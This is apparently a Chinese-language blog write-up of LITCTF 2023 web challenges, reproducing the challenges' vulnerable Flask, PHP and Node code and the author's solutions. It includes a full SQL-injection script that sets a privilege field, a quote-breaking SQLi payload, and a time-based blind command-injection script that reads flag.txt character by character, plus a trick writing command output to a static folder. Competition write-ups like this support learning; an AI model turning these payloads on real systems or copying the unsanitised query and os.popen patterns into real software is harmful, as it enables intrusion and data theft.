Litctf2023

本文最后更新于:1 个月前

LITCTF2023

Web

My boss left

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// Check if the request is a POST request
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Read and decode the JSON data from the request body
$json_data = file_get_contents('php://input');
$login_data = json_decode($json_data, true);

// Replace these values with your actual login credentials
$valid_password = 'dGhpcyBpcyBzb21lIGdpYmJlcmlzaCB0ZXh0IHBhc3N3b3Jk';

// Validate the login information
if ($login_data['password'] == $valid_password) {
// Login successful
echo json_encode(['status' => 'success', 'message' => 'LITCTF{redacted}']);
} else {
// Login failed
echo json_encode(['status' => 'error', 'message' => 'Invalid username or password']);
}
}
?>

用户输入的密码和$valid_password相同就行了,从源代码可以直接读到密码,签到题不多说

unsecure

根据要求,去/welcome

去login

根据题干给的用户名’admin’,密码’password123’,登录

页面重定向到这里:

根据提示,而且肉眼可见的url框里url在变,这里使用bp拦截抓个包

这里有个重定向地址

又抓到一个/ornot的地址:

LITCTF{0k4y_m4yb3_1_l13d}

pingpong

页面是这样的,看到输入来执行ping命令推测后端存在命令执行语句,那就可能存在任意命令执行漏洞

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, render_template, redirect, request
import os

app = Flask(__name__)

@app.route('/', methods = ['GET','POST'])
def index():
output = None
if request.method == 'POST':
hostname = request.form['hostname']
cmd = "ping -c 3 " + hostname
output = os.popen(cmd).read()

return render_template('index.html', output=output)

用管道符连接命令,具体在BUU刷题记录里有

amogsus-api

点开页面如下:

给了点提示用postman来做,之前没听说过,先看看源代码吧;

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import random
import string
from flask import Flask, request, jsonify
import sqlite3
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

con = sqlite3.connect('database.db')

sessions = []

with sqlite3.connect('database.db') as con:
cursor = con.cursor()
cursor.execute('CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT, password TEXT, sus BOOLEAN)')

@app.route('/', methods=['GET'])
def index():
return jsonify({'message': 'Welcome to the amogsus API! I\'ve been working super hard on it in the past few weeks. You can use a tool like postman to test it out. Start by signing up at /signup. Also, I think I might have forgotten to sanatize an input somewhere... Good luck!'})


@app.route('/signup', methods=['POST'])
def signup():
with sqlite3.connect('database.db') as con:
cursor = con.cursor()
data = request.form
print(data)
username = data['username']
password = data['password']
sus = False
cursor.execute('SELECT * FROM users WHERE username=?', (username,))
if cursor.fetchone():
return jsonify({'message': 'Username already exists!'})
else:
cursor.execute('INSERT INTO users (username, password, sus) VALUES (?, ?, ?)', (username, password, sus))
con.commit()
return jsonify({'message': 'User created! You can now login at /login'})

@app.route('/login', methods=['POST'])
def login():
with sqlite3.connect('database.db') as con:
cursor = con.cursor()
data = request.form
try:
username = data['username']
password = data['password']
cursor.execute('SELECT * FROM users WHERE username=? AND password=?', (username, password))
user = cursor.fetchone()
if user:
randomToken = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(40))
while randomToken in sessions:
randomToken = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(40))
sessions.append({'username': username, 'token': randomToken})
return jsonify({'message': 'Login successful! You can find your account information at /account. Make sure to provide your token! You should know how to bear your Authorization...', 'token': randomToken})
else:
return jsonify({'message': 'Login failed!'})
except Exception as e:
print(e)
return jsonify({'message': 'Please provide your username and password as form-data or x-www-form-urlencoded!'})
@app.route('/account', methods=['GET'])
def account():
with sqlite3.connect('database.db') as con:
cursor = con.cursor()
token = request.headers.get('Authorization', type=str)
token = token.replace('Bearer ', '')
if token:
for session in sessions:
if session['token'] == token:
cursor.execute('SELECT * FROM users WHERE username=?', (session['username'],))
user = cursor.fetchone()
return jsonify({'message': 'Here is your account information! You can update your account at /account/update. The flag can also be found at /flag. You need to be sus to get access tho...', 'username': user[1], 'sus': user[3], "password": user[2]})
return jsonify({'message': 'Invalid token!'})
else:
return jsonify({'message': 'Please provide your token!'})

@app.route('/account/update', methods=['POST'])
def update():
with sqlite3.connect('database.db') as con:
cursor = con.cursor()
token = request.headers.get('Authorization', type=str)
token = token.replace('Bearer ', '')
if token:
for session in sessions:
if session['token'] == token:
data = request.form
username = data['username']
password = data['password']
if (username == '' or password == ''):
return jsonify({'message': 'Please provide your new username and password as form-data or x-www-form-urlencoded!'})
cursor.execute(f'UPDATE users SET username="{username}", password="{password}" WHERE username="{session["username"]}"')
con.commit()
session['username'] = username
return jsonify({'message': 'Account updated!'})
return jsonify({'message': 'Invalid token!'})
else:
return jsonify({'message': 'Please provide your token!'})

@app.route('/flag', methods=['GET'])
def flag():
with sqlite3.connect('database.db') as con:
cursor = con.cursor()
token = request.headers.get('Authorization', type=str)
token = token.replace('Bearer ', '')
if token:
for session in sessions:
if session['token'] == token:
cursor.execute('SELECT * FROM users WHERE username=?', (session['username'],))
user = cursor.fetchone()
if user[3]:
return jsonify({'message': f'Congrats! The flag is: flag{open("./flag.txt", "r").read()}'})
else:
return jsonify({'message': 'You need to be an sus to view the flag!'})
return jsonify({'message': 'Invalid token!'})
else:
return jsonify({'message': 'Please provide your token!'})


if __name__ == '__main__':
app.debug = True
app.run(host='0.0.0.0', port=8080)

根据代码,先去访问一下/signup

一开始没反应过来,看了一眼路由设置:

1
@app.route('/signup', methods=['POST'])

哦吼,只能POST传参啊,那不管是用hackbar还是bp抓包,或者在浏览器里进行请求,浏览器都会通过GET请求来获取页面内容。那想要只发送post请求,我想到了编写python脚本:

导入requests模块,定义5个url

1
2
3
4
5
6
7
import requests

url1 = 'http://litctf.org:31783/signup'
url2 = 'http://litctf.org:31783/login'
url3 = 'http://litctf.org:31783/account'
url4 = 'http://litctf.org:31783/account/update'
url5 = 'http://litctf.org:31783/flag'

/路由内容:

1
2
3
@app.route('/', methods=['GET'])
def index():
return jsonify({'message': 'Welcome to the amogsus API! I\'ve been working super hard on it in the past few weeks. You can use a tool like postman to test it out. Start by signing up at /signup. Also, I think I might have forgotten to sanatize an input somewhere... Good luck!'})

/signup路由:

这里就是输入用户名和密码注册一个新账户,因为sql语句进行了预编译处理,所以在这里作为突破点不太现实,脚本部分:

1
2
3
4
5
6
7
username = 'potatowo2'
password = '123'

r1 = requests.post(url1,data={'username':username,
'password':password
}).text
print(r1)

运行结果:

1
{"message":"User created! You can now login at /login"}

再看/login路由:

是一个后台生成登录后生成token并存入session的过程,sql语句依旧是使用了预编译,对应脚本内容:

1
2
3
4
5
r2 = requests.post(url2,data={'username':username,
'password':password
})
r2json = r2.json()
print(r2json)

这里的json步骤是必要的,如果使用.text获取请求内容,是字符串而不是json,后续操作获取token起来会出问题

返回内容:

1
{'message': 'Login successful! You can find your account information at /account. Make sure to provide your token! You should know how to bear your Authorization...', 'token': '6WL12DAQ71INQ0AA3CNYKVIG7ND7GF2OT0U0U9VA'}

接着审计/account:

这里服务端获取请求头中的Authorization,并且将其中的’Bearer ‘替换为空字符串,session中的token与上一步返回json中token值相同,因为去掉’Bearer ‘后要和那个token进行比较相同,所以构造header时在token前加上该字符串,还是预编译sql语句,对应脚本:

1
2
3
4
5
6
7
8
9
token = r2json['token']

headers = {
'User-Agent': 'Mozilla/5.0',
'Authorization': f'Bearer {token}'
}

r3 = requests.get(url3,headers = headers).text
print(r3)

返回内容:

1
{"message":"Here is your account information! You can update your account at /account/update. The flag can also be found at /flag. You need to be sus to get access tho...","password":"123","sus":0,"username":"potatowo233"}

接着看/flag:

获取flag的条件:

和上一步一样的请求头处理,然后遍历所有的session,如果该sesssion对应的token与用户传入的相同,则在数据库中查询对应用户名的用户信息,如果查询结果的user[3]值为真,则输出flag。这里user[3]是什么呢?

在/account代码中:

但是这个sus变量从程序的开始(/signup)就被赋值为false了啊:

不急,继续往下看/account/update的代码:

还是拿着刚刚的header去访问,然后更新此时会话对应的用户密码,与之前不同的是,这里的sql语句没有进行预编译,而且没有任何过滤,这不是纯纯的SQL注入了吗,思路非常明确,我们要获得flag,就得使sus为True,但是sus从一开始就被定下来了,所以只能通过sql注入来更新sus的值了,更新完之后,去访问/flag即可,对应脚本:

1
2
3
4
5
6
7
8
9
password = f'''111",sus = 'True' where username = "{username}" --'''
print(password)
r4 = requests.post(url4,data={'username':username,
'password':password
},headers = headers).text
print(r4)

r5 = requests.get(url5,headers = headers).text
print(r5)

返回内容:

1
2
3
{"message":"Account updated!"}

{"message":"Congrats! The flag is: flagLITCTF{1njeC7_Th3_sUs_Am0ng_U5}"}

一整个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests

url1 = 'http://litctf.org:31783/signup'
url2 = 'http://litctf.org:31783/login'
url3 = 'http://litctf.org:31783/account'
url4 = 'http://litctf.org:31783/account/update'
url5 = 'http://litctf.org:31783/flag'

params = {}

username = 'potatowo233'
password = '123'

r1 = requests.post(url1,data={'username':username,
'password':password
}).text
print(r1)

r2 = requests.post(url2,data={'username':username,
'password':password
})
r2json = r2.json()
print(r2json)

token = r2json['token']

headers = {
'User-Agent': 'Mozilla/5.0',
'Authorization': f'Bearer {token}'
}

r3 = requests.get(url3,headers = headers).text
print(r3)

password = f'''111",sus = 'True' where username = "{username}" --'''
print(password)
r4 = requests.post(url4,data={'username':username,
'password':password
},headers = headers).text
print(r4)

r5 = requests.get(url5,headers = headers).text
print(r5)

license-inject

上传一个图片然后获取图片上的文字,再返回文字的查询结果,这里审计源代码时运气非常好,顺着src/routes/api,对图片内容的识别肯定是调用外部接口的,那就审计这里面的代码。

注意到这里有一个查询语句:

1
db.get(`SELECT * FROM plates WHERE plate = "${text}"`, (err, row)=>{....})

这不是很容易一下子就联想到是把api传回的数据进行查询然后返回信息吗,继续看看

这里定义了两个plates:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
plates.push({
name: 'codetiger',
// very long random string
plate: Array(40)
.fill('')
.map(() => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'[Math.floor(Math.random() * 36)])
.join(''),
fine: 'LITCTF{redacted}'
});
plates.push({
name: 'Sample User',
plate: '215BG2',
fine: '$6942'
);

结合查询语句和图片的信息,只需要闭合原引号,然后查询name=’codetiger’,就可以传回codetiger的信息了,自然也就输出flag了

payload语句:" or name = 'codetiger';--

剩下的工作就是把这几个字搞成图片了,ps里输入文本,各种改字体,各种截图都失败了,理论上没问题啊,是不是还有图片的尺寸之类的校验,然后就把范例图片拿去ps改,还是不行。最后,解决方案是,在Typra里输入payload,然后截图一下就没了。。。

Ping Pong: Under Maintenance

看了眼代码,和上题tiger,差在了无法把执行内容直接输出,意思就是说环境在维修中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, render_template, redirect, request
import os

app = Flask(__name__)

@app.route('/', methods = ['GET','POST'])
def index():
output = None
if request.method == 'POST':
hostname = request.form['hostname']
cmd = "ping -c 3 " + hostname
output = os.popen(cmd).read()

return render_template('index.html', output='The service is currently under maintainence and we have disabled outbound connections as a result.')

虽然无法显示,但是还是存在命令执行的,那就尝试盲注

命令拼接过程中,先是试了下|nc ip,发现没法,应该靶机上没装nc,那就试试curl,居然也不行??然后有点迷惑,我直接ping服务器还不行吗?服务器上tshark开启抓包,只抓icmp协议的,结果也没抓到任何包??

判断没出网,当时想到的是sh脚本语句,是类似于编程语言的存在逻辑if语句,因此可能存在类似于SQL中的盲注,去学习了下,Linux中存在sleep:

1
sleep 10#延迟十秒

传入|sleep 10,网页肉眼可见出现延迟,配合if语句

1
2
3
4
if [ ... ];then <cmd>
elif [ ... ];then <cmd>
else <cmd>
fi

结合管道符和cut语句:

最终构造脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import string

url = 'http://34.130.180.82:56409/'
flag = ''

pre = string.ascii_uppercase + '234567='
for i in range(1,200):
for j in pre:
s_time = time.time()
payload = f'''|if [ `cat flag.txt|base32|cut -c {i}` = '{j}' ];then sleep 4;fi'''
r = requests.post(url,data={
'hostname':payload
})
e_time = time.time()
exec_time = e_time - s_time
if exec_time > 4:
flag += j
print(flag)
break

另一种方法:
flask的静态目录(static),是可以直接通过浏览器访问的,所以可以把命令执行的结果写入其中:

1
2
|mkdir static
|cat flag.txt > flag

在通过浏览器直接访问http://ip/static/flag即可

fetch

Misc

后续更新ing